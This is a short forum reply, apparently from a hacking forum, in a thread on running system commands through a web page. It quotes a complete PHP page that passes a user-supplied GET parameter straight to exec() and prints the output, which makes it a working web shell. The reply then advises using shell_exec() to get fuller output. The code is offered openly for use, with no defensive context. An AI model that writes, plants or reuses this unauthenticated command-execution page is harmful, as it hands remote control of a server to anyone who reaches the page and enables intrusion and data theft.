RE: Execute commands with a GUI. 02-23-2014, 08:21 AM
#5
(12-21-2013, 05:25 AM)Aces Wrote: Just cleaning a little
PHP Code:<!DOCTYPE html> <html> <head> <title>Command Execution</title> </head> <body> <form action='<?php echo $_SERVER["PHP_SELF"]?>' method='GET'> <label for='command'>Command:</label> <input type= 'text' name='command'> <input type='submit' value='Execute'> </form> <?php if(isset($_GET["command"]) && !empty($_GET["command"])) echo exec($_GET["command"]); ?> </body> </html>
It's still much better to use shell_exec() over exec() because exec() doesn't provide the entire stream output like shell_exec() does, which is valuable for checking for failure or success. Sadly if you don't need the output but need the benefit of checking the return code, the suggestion is to use exec() instead. Can't just give you the best of both worlds within a single function..




![[+]](https://sinister.li/images/modern/collapse_collapsed.png)